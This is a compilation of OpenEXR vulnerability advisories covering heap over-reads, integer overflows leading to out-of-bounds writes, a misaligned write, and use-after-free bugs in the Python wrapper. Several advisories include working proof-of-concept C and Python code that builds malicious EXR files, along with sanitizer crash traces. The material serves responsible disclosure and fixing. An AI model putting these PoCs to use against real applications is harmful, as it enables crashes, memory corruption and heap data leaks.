Summary The PXR24 decompression function undopxr24impl in OpenEXR (internalpxr24.c) ignores the actual decompressed size (outSize) returned by exruncompressbuffer() and instead reads from the scratch buffer based solely on the expected size (uncompressedsize) derived from the header metadata.
Additionally, exruncompressbuffer() (compression.c:202) treats LIBDEFLATESHORTOUTPUT (where the compressed stream decompresses to fewer bytes than expected) as a successful result rather than an error.
When these two issues are combined, an attacker can craft a PXR24 EXR file containing a valid but truncated zlib stream. As a result, the decoder reads uninitialized heap memory and incorporates it into the output pixel data.
Details This issue occurs due to the combination of two flaws.
1. compression.c:202–205 — LIBDEFLATESHORTOUTPUT treated as success else if (res == LIBDEFLATESHORTOUTPUT) { / TODO: is this an error? / return EXRERRSUCCESS; } libdeflatezlibdecompressex() returns LIBDEFLATESHORTOUTPUT when the compressed stream is successfully decompressed but the resulting output size is smaller than the provided output buffer size. In this case, the actual number of decompressed bytes is written to actualout. However, the function does not treat this condition as an error and instead returns success.
2. internalpxr24.c:279–287 — outSize return value ignored rstat = exruncompressbuffer( decode->context, compresseddata, compbufsize, scratchdata, scratchsize, &outSize); // outSize = actual bytes written
if (rstat != EXRERRSUCCESS) return rstat;
// outSize is never referenced afterwards. // The loop below reads the entire scratchdata buffer based on // uncompressedsize (the header-derived expected size). for (int y = 0; y < decode->chunk.height; ++y) { ... } After exruncompressbuffer() returns success, the code does not verify whether the actual decompressed size (outSize) matches the expected size (uncompressedsize). The subsequent byte-plane reconstruction loop reads from the scratch buffer up to uncompressedsize bytes. As a result, the region between outSize and uncompressedsize consists of uninitialized heap memory, which is then read by the decoder.
Affected component - src/lib/OpenEXRCore/internalpxr24.c — undopxr24impl() (line 261–399) - src/lib/OpenEXRCore/compression.c — exruncompressbuffer() (line 202–205)
PoC Please refer to the atta poc.zip ched archive file and proceed after extracting it.
1. git clone https://github.com/AcademySoftwareFoundation/openexr.git 2. mv poc openexr/ 3. cd openexr 4. docker build -f poc/Dockerfile -t pxr24-poc . 5. docker run --rm pxr24-poc
<img width="858" height="155" alt="스크린샷 2026-03-15 오후 4 38 18" src="https://github.com/user-attachments/assets/ded9eab6-9b92-40f7-9a0d-7b00db7e6088" />
Impact Sensitive information from heap memory may be leaked through the decoded pixel data (information disclosure). Trigger Condition: Occurs under default settings; simply reading a malicious EXR file is sufficient to trigger the issue, without any user interaction.
Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause Variable declarations (internalb44.c:535) c int nx, ny; nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32t.
Scratch buffer allocation (internalb44:543) c nBytes = (uint64t) (ny) (uint64t) (nx) (uint64t) (curc->bytesperelement); The allocation path correctly promotes to uint64t before multiplying. The scratch buffer is always large enough to hold the full channel.
Row pointer reconstruction (internalb44:560) c row0 = (uint16t) scratch; row0 += y nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; y and nx are both int. The product y nx is computed in int. If this product exceeds INTMAX (2,147,483,647), the result is signed integer overflow
Out of Band write (internalb44:592) c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h>
#define CHECK(call) do { exrresultt rv = (call); if (rv != EXRERRSUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)rv); goto fail; } } while (0)
static void fillblocks(uint8t out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }
int main(void) { const int64t W = 268435456; const int64t H = 9; const char path = "/tmp/pocb44.exr";
const uint64t blocks = (uint64t)(W / 4) 2 + 1; const uint64t psz = blocks 3;
uint8t packed = (uint8t) malloc(psz); exrcontextt ctxt = NULL; exrcontextinitializert cinit = EXRDEFAULTCONTEXTINITIALIZER; int part = -1; exrchunkinfot cinfo; exrdecodepipelinet dec = EXRDECODEPIPELINEINITIALIZER; uint16t dummy = 0; int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fillblocks(packed, blocks);
CHECK(exrstartwrite(&ctxt, path, EXRWRITEFILEDIRECTLY, &cinit)); CHECK(exraddpart(ctxt, "scan", EXRSTORAGESCANLINE, &part)); CHECK(exrinitializerequiredattrsimple( ctxt, part, (int32t)W, (int32t)H, EXRCOMPRESSIONB44)); CHECK(exraddchannel(ctxt, part, "Y", EXRPIXELHALF, EXRPERCEPTUALLYLOGARITHMIC, 1, 1)); CHECK(exrwriteheader(ctxt)); CHECK(exrwritescanlinechunk(ctxt, part, 0, packed, psz)); exrfinish(&ctxt); ctxt = NULL;
fprintf(stderr, "[] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);
CHECK(exrstartread(&ctxt, path, &cinit)); CHECK(exrreadscanlinechunkinfo(ctxt, 0, 0, &cinfo)); CHECK(exrdecodinginitialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decodetoptr = (uint8t)&dummy; dec.channels[0].userpixelstride = 2; dec.channels[0].userlinestride = dec.channels[0].width 2; dec.channels[0].userbytesperelement = 2; dec.channels[0].userdatatype = dec.channels[0].datatype;
CHECK(exrdecodingchoosedefaultroutines(ctxt, 0, &dec)); dec.unpackandconvertfn = NULL;
fprintf(stderr, "[] calling exrdecodingrun()h\n"); fflush(stderr);
CHECK(exrdecodingrun(ctxt, 0, &dec)); ok = 1;
fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exrfinish(&ctxt); } free(packed); return ok ? 0 : 1; } ASAN Trace openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecodingrun decoding.c:580 #5 in main poc.c:83
================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internalb44.c:599
Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
Summary
The DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store.
This bug is reachable from the public decoder path and can be reproduced through the shipped exrcheck tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.
Tested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5
Root Cause and Data Flow
The vulnerable pointer construction lives in src/lib/OpenEXRCore/internaldwadecoder.h:
c for (int comp = 1; comp < numComp; ++comp) rowBlock[comp] = rowBlock[comp - 1] + numBlocksX 64;
The expression numBlocksX 64 is computed as signed int. Once numBlocksX is large enough, the multiplication wraps, and rowBlock[comp] points backward rather than forward into the temporary decode buffer.
Later, LossyDctDecoderexecute() uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for rowBlockHandle.
The public control flow is the standard one:
c InputFile / ScanLineInputFile public read -> exrdecodingrun(...) -> exruncompresschunk(...) -> internalexrundodwaa(...) -> DwaCompressoruncompress(...) -> LossyDctDecoderexecute(...)
UBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.
Reproduction
dwascanlineexrcheck.zip
Build with exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/dwascanlineexrcheck.exr file /tmp/dwascanlineexrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:331:58: runtime error: signed integer overflow: 33554432 64 cannot be represented in type 'int' AddressSanitizer:DEADLYSIGNAL ================================================================= ==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0) ==1684058==The signal is caused by a WRITE memory access. #0 0x75979e850336 in LossyDctDecoderexecute /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 #1 0x75979e879592 in DwaCompressoruncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1210 #2 0x75979e879592 in internalexrundodwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwa.c:231 #3 0x75979e95f878 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542 #4 0x75979e9659a8 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7597a0271add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7597a0283dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7597a00c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7597a13fe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7597a14126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7597a14146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x61ba9582b8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x75979d62a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x75979d62a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x61ba95829844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 in LossyDctDecoderexecute ==1684058==ABORTING ------- Found by: Quang Luong of Calif.io
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1040 performs chan->width chan->bytesperelement in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other decoders by CVE-2026-34589/34588/34544, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1040.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a signed integer overflow exists in undopxr24impl() in src/lib/OpenEXRCore/internalpxr24.c at line 377. The expression (uint64t)(w 3) computes w 3 as a signed 32-bit integer before casting to uint64t. When w is large, this multiplication constitutes undefined behavior under the C standard. On tested builds (clang/gcc without sanitizers), two's-complement wraparound commonly occurs, and for specific values of w the wrapped result is a small positive integer, which may allow the subsequent bounds check to pass incorrectly. If the check is bypassed, the decoding loop proceeds to write pixel data through dout, potentially extending far beyond the allocated output buffer. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.
Summary There is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L1258-L1286
PoC
py import OpenEXR, Imath
Any small EXR will do - use one from OpenEXR test images or any project file path = "anysmall.exr"
Property returns a fresh temporary int subclass, so the buggy helper decrefs it to zero before passing it to PyLongAsLong => UAF. class FreshInt(int): def new(cls, v): return int.new(cls, v) def del(self): # stir the heap to make the UAF obvious under PYTHONMALLOC=debug = bytearray(1000000)
class PixelTypeProxy: @property def v(self): return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path) channel() forces the wrapper to read pixeltype.v using the buggy helper which returns a dangling pointer print("About to trigger UAF...") f.channel("R", pixeltype=PixelTypeProxy()) print("If you get here without a crash, try again with AddressSanitizer.") running
shell PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF... Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first): File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first): Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyDumpStack+0x44 [0x1058c00f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerdumpcstack+0x58 [0x1058d2f3c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerfatalerror+0x160 [0x1058d2e00] Binary file "/usr/lib/system/libsystemplatform.dylib", at sigtramp+0x38 [0x1841796a4] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at methodvectorcallVARARGSKEYWORDS+0x94 [0x1057032bc] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObjectVectorcall+0x58 [0x1056f5044] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalFrameDefault+0x9cac [0x1058312d8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalCode+0xf8 [0x105827130] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at runmod+0xac [0x1058a2b60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrunfile+0xa4 [0x1058a123c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunSimpleFileObject+0x100 [0x1058a07c0] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunAnyFileObject+0x50 [0x1058a0424] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfileobj+0xa4 [0x1058cfcd8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfile+0x48 [0x1058cfa20] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunMain+0x354 [0x1058cef60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainmain+0xe8 [0x1058cf3f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyBytesMain+0x28 [0x1058cf494] Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy.core.multiarrayumath, numpy.linalg.umathlinalg (total: 2) Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
Summary
A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).
This bug was found with ZeroPath.
Details
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.
- In channel():
- Width and height are derived from the header dataWindow using int.
- typeSize is a sizet. The buffer size is computed as typeSize width height with no bounds checks.
- The result is passed to PyStringFromStringAndSize(NULL, size) which maps to PyBytesFromStringAndSize. That function expects Pyssizet. If the product overflows or exceeds PYSSIZETMAX, allocation fails or the value wraps.
- The return value is not checked. The code immediately calls PyStringAsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).
- On 64 bit: PyBytesFromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize width bytes per scanline for height lines into that buffer, causing a heap overflow.
- In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.
PoC
python writebigheaderthencrash.py import OpenEXR, Imath
OpenEXR sanity clamp for header coords is about INTMAX/2 - 1 INTMAX = (1 << 31) - 1 MAXCOORD = (INTMAX // 2) - 1 # 1073741822
Choose a scanline width that keeps row-bytes < 2^31 400,000,000 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400000000, MAXCOORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny
Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))
Robustly set NOCOMPRESSION across enum naming differences def nocompression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NOCOMPRESSION", "NONE", "NOCOMPRESSIONENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0)
hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": nocompression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASINGY), }
Write just the header (no pixels) out = OpenEXR.OutputFile("bigheader.exr", hdr) out.close()
Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("bigheader.exr") print("Triggering crash...") f.channels(["R"])
$ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex34::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py
Impact Typical memory stuff.